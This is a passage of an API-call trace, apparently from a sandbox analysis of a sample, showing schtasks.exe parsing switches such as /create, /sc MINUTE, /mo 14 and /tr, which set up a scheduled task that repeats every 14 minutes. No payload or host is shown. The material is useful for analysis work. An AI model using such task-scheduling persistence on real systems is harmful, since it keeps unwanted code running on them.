(lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0060.522] SetLastError (dwErrCode=0x490) [0060.522] lstrlenW (lpString="?") returned 1 [0060.522] lstrlenW (lpString="?") returned 1 [0060.522] _memicmp (_Buf1=0x21c240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.522] lstrlenW (lpString="sc") returned 2 [0060.522] _memicmp (_Buf1=0x21c380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.522] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c6c8 | out: _Buffer="|?|") returned 3 [0060.522] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c6c8 | out: _Buffer="|sc|") returned 4 [0060.522] lstrlenW (lpString="|?|") returned 3 [0060.522] lstrlenW (lpString="|sc|") returned 4 [0060.522] SetLastError (dwErrCode=0x490) [0060.522] lstrlenW (lpString="s") returned 1 [0060.522] lstrlenW (lpString="s") returned 1 [0060.522] _memicmp (_Buf1=0x21c240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.522] lstrlenW (lpString="sc") returned 2 [0060.522] _memicmp (_Buf1=0x21c380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.523] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c6c8 | out: _Buffer="|s|") returned 3 [0060.523] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c6c8 | out: _Buffer="|sc|") returned 4 [0060.523] lstrlenW (lpString="|s|") returned 3 [0060.523] lstrlenW (lpString="|sc|") returned 4 [0060.523] SetLastError (dwErrCode=0x490) [0060.523] lstrlenW (lpString="u") returned 1 [0060.523] lstrlenW (lpString="u") returned 1 [0060.523] _memicmp (_Buf1=0x21c240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.523] lstrlenW (lpString="sc") returned 2 [0060.523] _memicmp (_Buf1=0x21c380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.523] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c6c8 | out: _Buffer="|u|") returned 3 [0060.523] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c6c8 | out: _Buffer="|sc|") returned 4 [0060.523] lstrlenW (lpString="|u|") returned 3 [0060.523] lstrlenW (lpString="|sc|") returned 4 [0060.523] SetLastError (dwErrCode=0x490) [0060.523] lstrlenW (lpString="p") returned 1 [0060.523] lstrlenW (lpString="p") returned 1 [0060.523] _memicmp (_Buf1=0x21c240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.523] lstrlenW (lpString="sc") returned 2 [0060.523] _memicmp (_Buf1=0x21c380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.523] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c6c8 | out: _Buffer="|p|") returned 3 [0060.523] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c6c8 | out: _Buffer="|sc|") returned 4 [0060.523] lstrlenW (lpString="|p|") returned 3 [0060.523] lstrlenW (lpString="|sc|") returned 4 [0060.523] SetLastError (dwErrCode=0x490) [0060.523] lstrlenW (lpString="ru") returned 2 [0060.523] lstrlenW (lpString="ru") returned 2 [0060.523] _memicmp (_Buf1=0x21c240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.523] lstrlenW (lpString="sc") returned 2 [0060.523] _memicmp (_Buf1=0x21c380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.524] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c6c8 | out: _Buffer="|ru|") returned 4 [0060.524] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c6c8 | out: _Buffer="|sc|") returned 4 [0060.524] lstrlenW (lpString="|ru|") returned 4 [0060.524] lstrlenW (lpString="|sc|") returned 4 [0060.524] StrStrIW (lpFirst="|ru|", lpSrch="|sc|") returned 0x0 [0060.524] SetLastError (dwErrCode=0x490) [0060.524] lstrlenW (lpString="rp") returned 2 [0060.524] lstrlenW (lpString="rp") returned 2 [0060.524] _memicmp (_Buf1=0x21c240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.524] lstrlenW (lpString="sc") returned 2 [0060.524] _memicmp (_Buf1=0x21c380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.524] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c6c8 | out: _Buffer="|rp|") returned 4 [0060.524] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c6c8 | out: _Buffer="|sc|") returned 4 [0060.524] lstrlenW (lpString="|rp|") returned 4 [0060.524] lstrlenW (lpString="|sc|") returned 4 [0060.524] StrStrIW (lpFirst="|rp|", lpSrch="|sc|") returned 0x0 [0060.524] SetLastError (dwErrCode=0x490) [0060.524] lstrlenW (lpString="sc") returned 2 [0060.524] lstrlenW (lpString="sc") returned 2 [0060.524] _memicmp (_Buf1=0x21c240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.524] lstrlenW (lpString="sc") returned 2 [0060.524] _memicmp (_Buf1=0x21c380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.524] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c6c8 | out: _Buffer="|sc|") returned 4 [0060.524] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c6c8 | out: _Buffer="|sc|") returned 4 [0060.524] lstrlenW (lpString="|sc|") returned 4 [0060.524] lstrlenW (lpString="|sc|") returned 4 [0060.524] StrStrIW (lpFirst="|sc|", lpSrch="|sc|") returned="|sc|" [0060.524] SetLastError (dwErrCode=0x0) [0060.524] SetLastError (dwErrCode=0x0) [0060.524] lstrlenW (lpString="MINUTE") returned 6 [0060.524] lstrlenW (lpString="-/") returned 2 [0060.524] StrChrIW (lpStart="-/", wMatch=0x4d) returned 0x0 [0060.525] SetLastError (dwErrCode=0x490) [0060.525] SetLastError (dwErrCode=0x490) [0060.525] SetLastError (dwErrCode=0x0) [0060.525] lstrlenW (lpString="MINUTE") returned 6 [0060.525] StrChrIW (lpStart="MINUTE", wMatch=0x3a) returned 0x0 [0060.525] SetLastError (dwErrCode=0x490) [0060.525] SetLastError (dwErrCode=0x0) [0060.525] GetProcessHeap () returned 0x200000 [0060.525] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x18) returned 0x21d6e0 [0060.525] _memicmp (_Buf1=0x21d6e0, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.525] lstrlenW (lpString="MINUTE") returned 6 [0060.525] GetProcessHeap () returned 0x200000 [0060.525] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0xe) returned 0x21d700 [0060.525] lstrlenW (lpString="MINUTE") returned 6 [0060.525] lstrlenW (lpString=" \x09") returned 2 [0060.525] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0 [0060.525] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0 [0060.525] StrChrW (lpStart=" \x09", wMatch=0x49) returned 0x0 [0060.525] StrChrW (lpStart=" \x09", wMatch=0x4e) returned 0x0 [0060.525] StrChrW (lpStart=" \x09", wMatch=0x55) returned 0x0 [0060.525] StrChrW (lpStart=" \x09", wMatch=0x54) returned 0x0 [0060.525] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0 [0060.525] GetLastError () returned 0x0 [0060.525] lstrlenW (lpString="MINUTE") returned 6 [0060.525] lstrlenW (lpString="MINUTE") returned 6 [0060.525] SetLastError (dwErrCode=0x0) [0060.525] SetLastError (dwErrCode=0x0) [0060.525] lstrlenW (lpString="/mo") returned 3 [0060.525] lstrlenW (lpString="-/") returned 2 [0060.525] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0060.525] lstrlenW (lpString="create") returned 6 [0060.525] lstrlenW (lpString="create") returned 6 [0060.525] _memicmp (_Buf1=0x21c240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.525] lstrlenW (lpString="mo") returned 2 [0060.525] _memicmp (_Buf1=0x21c380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.526] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x19c6c8 | out: _Buffer="|create|") returned 8 [0060.526] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c6c8 | out: _Buffer="|mo|") returned 4 [0060.526] lstrlenW (lpString="|create|") returned 8 [0060.526] lstrlenW (lpString="|mo|") returned 4 [0060.526] StrStrIW (lpFirst="|create|", lpSrch="|mo|") returned 0x0 [0060.526] SetLastError (dwErrCode=0x490) [0060.526] lstrlenW (lpString="?") returned 1 [0060.526] lstrlenW (lpString="?") returned 1 [0060.526] _memicmp (_Buf1=0x21c240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.526] lstrlenW (lpString="mo") returned 2 [0060.526] _memicmp (_Buf1=0x21c380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.526] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c6c8 | out: _Buffer="|?|") returned 3 [0060.526] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c6c8 | out: _Buffer="|mo|") returned 4 [0060.526] lstrlenW (lpString="|?|") returned 3 [0060.526] lstrlenW (lpString="|mo|") returned 4 [0060.526] SetLastError (dwErrCode=0x490) [0060.526] lstrlenW (lpString="s") returned 1 [0060.526] lstrlenW (lpString="s") returned 1 [0060.526] _memicmp (_Buf1=0x21c240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.526] lstrlenW (lpString="mo") returned 2 [0060.526] _memicmp (_Buf1=0x21c380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.526] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c6c8 | out: _Buffer="|s|") returned 3 [0060.526] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c6c8 | out: _Buffer="|mo|") returned 4 [0060.526] lstrlenW (lpString="|s|") returned 3 [0060.526] lstrlenW (lpString="|mo|") returned 4 [0060.526] SetLastError (dwErrCode=0x490) [0060.526] lstrlenW (lpString="u") returned 1 [0060.526] lstrlenW (lpString="u") returned 1 [0060.526] _memicmp (_Buf1=0x21c240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.526] lstrlenW (lpString="mo") returned 2 [0060.527] _memicmp (_Buf1=0x21c380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.527] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c6c8 | out: _Buffer="|u|") returned 3 [0060.527] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c6c8 | out: _Buffer="|mo|") returned 4 [0060.527] lstrlenW (lpString="|u|") returned 3 [0060.527] lstrlenW (lpString="|mo|") returned 4 [0060.527] SetLastError (dwErrCode=0x490) [0060.527] lstrlenW (lpString="p") returned 1 [0060.527] lstrlenW (lpString="p") returned 1 [0060.527] _memicmp (_Buf1=0x21c240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.527] lstrlenW (lpString="mo") returned 2 [0060.527] _memicmp (_Buf1=0x21c380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.527] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c6c8 | out: _Buffer="|p|") returned 3 [0060.527] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c6c8 | out: _Buffer="|mo|") returned 4 [0060.527] lstrlenW (lpString="|p|") returned 3 [0060.527] lstrlenW (lpString="|mo|") returned 4 [0060.527] SetLastError (dwErrCode=0x490) [0060.527] lstrlenW (lpString="ru") returned 2 [0060.527] lstrlenW (lpString="ru") returned 2 [0060.527] _memicmp (_Buf1=0x21c240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.527] lstrlenW (lpString="mo") returned 2 [0060.527] _memicmp (_Buf1=0x21c380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.527] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c6c8 | out: _Buffer="|ru|") returned 4 [0060.527] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c6c8 | out: _Buffer="|mo|") returned 4 [0060.527] lstrlenW (lpString="|ru|") returned 4 [0060.527] lstrlenW (lpString="|mo|") returned 4 [0060.527] StrStrIW (lpFirst="|ru|", lpSrch="|mo|") returned 0x0 [0060.527] SetLastError (dwErrCode=0x490) [0060.527] lstrlenW (lpString="rp") returned 2 [0060.527] lstrlenW (lpString="rp") returned 2 [0060.527] _memicmp (_Buf1=0x21c240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.528] lstrlenW (lpString="mo") returned 2 [0060.528] _memicmp (_Buf1=0x21c380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.528] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c6c8 | out: _Buffer="|rp|") returned 4 [0060.528] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c6c8 | out: _Buffer="|mo|") returned 4 [0060.528] lstrlenW (lpString="|rp|") returned 4 [0060.528] lstrlenW (lpString="|mo|") returned 4 [0060.528] StrStrIW (lpFirst="|rp|", lpSrch="|mo|") returned 0x0 [0060.528] SetLastError (dwErrCode=0x490) [0060.528] lstrlenW (lpString="sc") returned 2 [0060.528] lstrlenW (lpString="sc") returned 2 [0060.528] _memicmp (_Buf1=0x21c240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.528] lstrlenW (lpString="mo") returned 2 [0060.528] _memicmp (_Buf1=0x21c380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.528] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c6c8 | out: _Buffer="|sc|") returned 4 [0060.528] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c6c8 | out: _Buffer="|mo|") returned 4 [0060.528] lstrlenW (lpString="|sc|") returned 4 [0060.528] lstrlenW (lpString="|mo|") returned 4 [0060.528] StrStrIW (lpFirst="|sc|", lpSrch="|mo|") returned 0x0 [0060.528] SetLastError (dwErrCode=0x490) [0060.528] lstrlenW (lpString="mo") returned 2 [0060.528] lstrlenW (lpString="mo") returned 2 [0060.528] _memicmp (_Buf1=0x21c240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.528] lstrlenW (lpString="mo") returned 2 [0060.528] _memicmp (_Buf1=0x21c380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.528] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c6c8 | out: _Buffer="|mo|") returned 4 [0060.528] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c6c8 | out: _Buffer="|mo|") returned 4 [0060.528] lstrlenW (lpString="|mo|") returned 4 [0060.528] lstrlenW (lpString="|mo|") returned 4 [0060.528] StrStrIW (lpFirst="|mo|", lpSrch="|mo|") returned="|mo|" [0060.528] SetLastError (dwErrCode=0x0) [0060.529] SetLastError (dwErrCode=0x0) [0060.529] lstrlenW (lpString="14") returned 2 [0060.529] lstrlenW (lpString="-/") returned 2 [0060.529] StrChrIW (lpStart="-/", wMatch=0x31) returned 0x0 [0060.529] SetLastError (dwErrCode=0x490) [0060.529] SetLastError (dwErrCode=0x490) [0060.529] SetLastError (dwErrCode=0x0) [0060.529] lstrlenW (lpString="14") returned 2 [0060.529] StrChrIW (lpStart="14", wMatch=0x3a) returned 0x0 [0060.529] SetLastError (dwErrCode=0x490) [0060.529] SetLastError (dwErrCode=0x0) [0060.529] _memicmp (_Buf1=0x21d6e0, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.529] lstrlenW (lpString="14") returned 2 [0060.529] lstrlenW (lpString="14") returned 2 [0060.529] lstrlenW (lpString=" \x09") returned 2 [0060.529] StrChrW (lpStart=" \x09", wMatch=0x31) returned 0x0 [0060.529] StrChrW (lpStart=" \x09", wMatch=0x31) returned 0x0 [0060.529] StrChrW (lpStart=" \x09", wMatch=0x34) returned 0x0 [0060.529] GetLastError () returned 0x0 [0060.529] lstrlenW (lpString="14") returned 2 [0060.529] lstrlenW (lpString="14") returned 2 [0060.529] GetProcessHeap () returned 0x200000 [0060.529] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x6) returned 0x215590 [0060.529] SetLastError (dwErrCode=0x0) [0060.529] SetLastError (dwErrCode=0x0) [0060.529] lstrlenW (lpString="/tr") returned 3 [0060.529] lstrlenW (lpString="-/") returned 2 [0060.529] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0060.529] lstrlenW (lpString="create") returned 6 [0060.529] lstrlenW (lpString="create") returned 6 [0060.529] _memicmp (_Buf1=0x21c240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.529] lstrlenW (lpString="tr") returned 2 [0060.529] _memicmp (_Buf1=0x21c380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.529] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x19c6c8 | out: _Buffer="|create|") returned 8 [0060.530] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c6c8 | out: _Buffer="|tr|") returned 4 [0060.530] lstrlenW (lpString="|create|") returned 8 [0060.530] lstrlenW (lpString="|tr|") returned 4 [0060.530] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0060.530] SetLastError (dwErrCode=0x490) [0060.530] lstrlenW (lpString="?") returned 1 [0060.530] lstrlenW (lpString="?") returned 1 [0060.530] _memicmp (_Buf1=0x21c240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.530] lstrlenW (lpString="tr") returned 2 [0060.530] _memicmp (_Buf1=0x21c380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.530] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c6c8 | out: _Buffer="|?|") returned 3 [0060.530] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c6c8 | out: _Buffer="|tr|") returned 4 [0060.530] lstrlenW (lpString="|?|") returned 3 [0060.530] lstrlenW (lpString="|tr|") returned 4 [0060.530] SetLastError (dwErrCode=0x490) [0060.530] lstrlenW (lpString="s") returned 1 [0060.530] lstrlenW (lpString="s") returned 1 [0060.530] _memicmp (_Buf1=0x21c240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.530] lstrlenW (lpString="tr") returned 2 [0060.530] _memicmp (_Buf1=0x21c380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.530] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c6c8 | out: _Buffer="|s|") returned 3 [0060.530] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c6c8 | out: _Buffer="|tr|") returned 4 [0060.530] lstrlenW (lpString="|s|") returned 3 [0060.530] lstrlenW (lpString="|tr|") returned 4 [0060.530] SetLastError (dwErrCode=0x490) [0060.530] lstrlenW (lpString="u") returned 1 [0060.530] lstrlenW (lpString="u") returned 1 [0060.530] _memicmp (_Buf1=0x21c240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.530] lstrlenW (lpString="tr") returned 2 [0060.531] _memicmp (_Buf1=0x21c380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.531] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c6c8 | out: _Buffer="|u|") returned 3 [0060.531] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c6c8 | out: _Buffer="|tr|") returned 4 [0060.531] lstrlenW (lpString="|u|") returned 3 [0060.531] lstrlenW (lpString="|tr|") returned 4 [0060.531] SetLastError (dwErrCode=0x490) [0060.531] lstrlenW (lpString="p") returned 1 [0060.531] lstrlenW (lpString="p") returned 1 [0060.531] _memicmp (_Buf1=0x21c240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.531] lstrlenW (lpString="tr") returned 2 [0060.531] _memicmp (_Buf1=0x21c380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.531] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c6c8 | out: _Buffer="|p|") returned 3 [0060.531] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c6c8 | out: _Buffer="|tr|") returned 4 [0060.531] lstrlenW (lpString="|p|") returned 3 [0060.531] lstrlenW (lpString="|tr|") returned 4 [0060.531] SetLastError (dwErrCode=0x490) [0060.531] lstrlenW (lpString="ru") returned 2 [0060.531] lstrlenW (lpString="ru") returned 2 [0060.531] _memicmp (_Buf1=0x21c240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.531] lstrlenW (lpString="tr") returned 2 [0060.531] _memicmp (_Buf1=0x21c380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.531] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c6c8 | out: _Buffer="|ru|") returned 4 [0060.531] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c6c8 | out: _Buffer="|tr|") returned 4 [0060.531] lstrlenW (lpString="|ru|") returned 4 [0060.531] lstrlenW (lpString="|tr|") returned 4 [0060.531] StrStrIW (lpFirst="|ru|", lpSrch="|tr|") returned 0x0 [0060.531] SetLastError (dwErrCode=0x490) [0060.531] lstrlenW (lpString="rp") returned 2 [0060.531] lstrlenW (lpString="rp") returned 2 [0060.531] _memicmp (_Buf1=0x21c240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.531] lstrlenW (lpString="tr") returned 2 [0060.531] _memicmp (_Buf1=0x21c380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.532] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c6c8 | out: _Buffer="|rp|") returned 4 [0060.532] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c6c8 | out: _Buffer="|tr|") returned 4 [0060.532] lstrlenW (lpString="|rp|") returned 4 [0060.532] lstrlenW (lpString="|tr|") returned 4 [0060.532] StrStrIW (lpFirst="|rp|", lpSrch="|tr|") returned 0x0 [0060.532] SetLastError (dwErrCode=0x490) [0060.532] lstrlenW (lpString="sc") returned 2 [0060.532] lstrlenW (lpString="sc") returned 2 [0060.532] _memicmp (_Buf1=0x21c240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.532] lstrlenW (lpString="tr") returned 2 [0060.532] _memicmp (_Buf1=0x21c380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.532] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c6c8 | out: _Buffer="|sc|") returned 4 [0060.532] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c6c8 | out: _Buffer="|tr|") returned 4 [0060.532] lstrlenW (lpString="|sc|") returned 4 [0060.532] lstrlenW (lpString="|tr|") returned 4 [0060.532] StrStrIW (lpFirst="|sc|", lpSrch="|tr|") returned 0x0 [0060.532] SetLastError (dwErrCode=0x490) [0060.532] lstrlenW (lpString="mo") returned 2 [0060.532] lstrlenW (lpString="mo") returned 2 [0060.532] _memicmp (_Buf1=0x21c240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.532] lstrlenW (lpString="tr") returned 2 [0060.532] _memicmp (_Buf1=0x21c380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.532] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c6c8 | out: _Buffer="|mo|") returned 4 [0060.532] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c6c8 | out: _Buffer="|tr|") returned 4 [0060.532] lstrlenW (lpString="|mo|") returned 4 [0060.532] lstrlenW (lpString="|tr|") returned 4 [0060.532] StrStrIW (lpFirst="|mo|", lpSrch="|tr|") returned 0x0 [0060.532] SetLastError (dwErrCode=0x490) [0060.532] lstrlenW (lpString="d") returned 1 [0060.532] lstrlenW (lpString="d") returned 1 [0060.533] _memicmp (_Buf1=0x21c240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.533] lstrlenW (lpString="tr") returned 2 [0060.533] _memicmp (_Buf1=0x21c380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.533] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c6c8 | out: _Buffer="|d|") returned 3 [0060.533] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c6c8 | out: _Buffer="|tr|") returned 4 [0060.533] lstrlenW (lpString="|d|") returned 3 [0060.533] lstrlenW (lpString="|tr|") returned 4 [0060.533] SetLastError (dwErrCode=0x490) [0060.533] lstrlenW (lpString="m") returned 1 [0060.533] lstrlenW (lpString="m") returned 1 [0060.533] _memicmp (_Buf1=0x21c240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.533] lstrlenW (lpString="tr") returned 2 [0060.533] _memicmp (_Buf1=0x21c380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.533] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c6c8 | out: _Buffer="|m|") returned 3 [0060.533] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c6c8 | out: _Buffer="|tr|") returned 4 [0060.533] lstrlenW (lpString="|m|") returned 3 [0060.533] lstrlenW (lpString="|tr|") returned 4 [0060.533] SetLastError (dwErrCode=0x490) [0060.533] lstrlenW (lpString="i") returned 1 [0060.533] lstrlenW (lpString="i") returned 1 [0060.533] _memicmp (_Buf1=0x21c240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.533] lstrlenW (lpString="tr") returned 2 [0060.533] _memicmp (_Buf1=0x21c380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.533] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c6c8 | out: _Buffer="|i|") returned 3 [0060.533] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c6c8 | out: _Buffer="|tr|") returned 4 [0060.533] lstrlenW (lpString="|i|") returned 3 [0060.533] lstrlenW (lpString="|tr|") returned 4 [0060.533] SetLastError (dwErrCode=0x490) [0060.533] lstrlenW (lpString="tn") returned 2 [0060.534] lstrlenW (lpString="tn") returned 2 [0060.534] _memicmp (_Buf1=0x21c240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.534] lstrlenW (lpString="tr") returned 2 [0060.534] _memicmp (_Buf1=0x21c380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.534] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c6c8 | out: _Buffer="|tn|") returned 4 [0060.534] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c6c8 | out: _Buffer="|tr|") returned 4 [0060.534] lstrlenW (lpString="|tn|") returned 4 [0060.534] lstrlenW (lpString="|tr|") returned 4 [0060.534] StrStrIW (lpFirst="|tn|", lpSrch="|tr|") returned 0x0 [0060.534] SetLastError (dwErrCode=0x490) [0060.534] lstrlenW (lpString="tr") returned 2 [0060.534] lstrlenW (lpString="tr") returned 2 [0060.534] _memicmp (_Buf1=0x21c240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.534] lstrlenW (lpString="tr") returned 2 [0060.534] _memicmp (_Buf1=0x21c380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.534] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c6c8 | out: _Buffer="|tr|") returned 4 [0060.534] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c6c8 | out: _Buffer="|tr|") returned 4 [0060.534] lstrlenW (lpString="|tr|") returned 4 [0060.534] lstrlenW 